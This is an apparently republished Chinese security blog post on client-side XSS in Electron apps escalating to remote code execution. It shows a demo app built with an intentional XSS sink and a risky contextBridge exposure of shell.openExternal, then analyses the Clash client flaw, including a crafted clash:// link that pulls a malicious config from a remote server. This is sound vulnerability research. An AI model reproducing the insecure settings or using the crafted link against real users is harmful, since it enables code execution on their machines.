html + js
的形式,比较知名的框架有Chromium Embedded
Framework (CEF)
和Electron
,前段时间爆出的Clash
客户端RCE
,其客户端便是Electron
实现的,本文也主要围绕Electron
展开。01
Electron简介
Electron
集成了Chromium
以及Nodejs
,其开发也与前端开发类似。按照官方文档可以快速搭建一个Electron
应用:https://www.electronjs.org/docs/latest/tutorial/quick-start
mkdir electron-app && cd electron-app
npm init
新建app.js
并引入内容
const {app,BrowserWindow} = require('electron')
其中app
用来控制应用程序生命周期,BrowserWindow
用于创建和控制窗口。新建一个index.html
,并使用BrowserWindow
进行加载
app.whenReady().then(()=>{
const win = new BrowserWindow({
width: 1040,
height: 699,
minWidth: 888,
minHeight: 555,
title: 'AntSword',
webPreferences: {
preload: path.join(__dirname,'preload.js')
}
});
win.loadFile('views/index.html')
})
启动程序
webPreferences
可以为打开的页面设置一些特性,proload
表示加载一个预加载脚本,在主进程中,也就是入口文件所启动的进程,是无法操作渲染进程的DOM的,所以需要预加载脚本去连接两个进程。为了方便调试,我们可以加入一个开发者工具菜单
const menu = new Menu()
menu.append(new MenuItem({
label: 'devtools',
submenu: [{
role:'devtools',
accelerator: process.platform === 'darwin' ? 'Alt+Cmd+I' : 'Alt+Shift+I',
click: () => {win.webContents.openDevTools()}
}]
}))
Menu.setApplicationMenu(menu)
其中 win.webContents.openDevTools()
表示打开开发者工具,这个时候我们可以使用快捷键或者是菜单按钮打开开发者工具
此外还可以设置客户端协议
app.setAsDefaultProtocolClient('meClient');
之后就可以通过meClient:
的形式通过浏览器唤起APP
02
问题点
webPreferences
有许多值得在意的地方,比如说:nodeIntegration
,这个属性默认关闭,而在它开启时表明客户端开启nodejs
支持,我们在刚才创建的APP
的webPreferences
中修改其为true
: nodeIntegration: true
,在将上下文隔离contextIsolation
关闭:contextIsolation:false
之后打开控制台输入如下指令:客户端执行了nodejs
命令并最终执行系统命令,接下来把nodeIntegration
修改为false
,再次输入命令可以发现require
已经不支持了
接下来人为制造一个XSS
来实现从XSS
到RCE
,index.html
中加入:
<input type="input" id="xss" style="width: 1000px;height: 20px;"
onclick="insertXss(this.id)"/>
function insertXss(x){
var xss = document.getElementById(x);
var script = document.createElement("script");
document.getElementsByTagName("body")[0].append(script);
script.textContent = xss.value;
}
现在只需要在客户端输入payload
后并单击输入框即可触发漏洞
上述情况可能比较少见,大部分时候是在contextIsolation
开启的情况下,这种时候就需要去寻找由contextBridge
暴露的函数中的危险函数,比如:
const { contextBridge } = require('electron')
contextBridge.exposeInMainWorld('nodeCrypto', {
sha256sum (data) {
shell.openExternal(data)
}
})
接下来就可以使用nodeCrypto.sha256sum
进行调用。
03
Clash漏洞分析
Clash
,找到Clash
的安装目录,将asar
后缀文件进行解压asar e app.asar /tmp/app
首先看其配置信息
nodeIntegration
开启,contextIsolation
关闭,nodeIntegrationInWorker
笔者理解为不支持子页面中执行nodejs
,webSecurity
开启后表示开启同源策略,默认开启,根据这些可以认为只要有xss
就可以触发rce
。根据漏洞触发位置处class
名,定位到触发点
除了直接导入配置文件之外,还可以使用clash
协议的形式从远程服务器导入恶意配置
clash://install-config?url=http%3A%2F%2F1.1.1.1%3A8888%2F1.txt&name=RCE
搜索app-open
,找到协议处理逻辑
满足条件的请求会从远程下载文件回来并导入。
04
总结
XSS
相较于普通XSS
更难被发现,但是其危害也是有目共睹的,在web
越来越卷的现在,换个方向挖掘漏洞也是个不错的方法。原文始发于微信公众号(RainSec):《聊一聊客户端XSS》
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论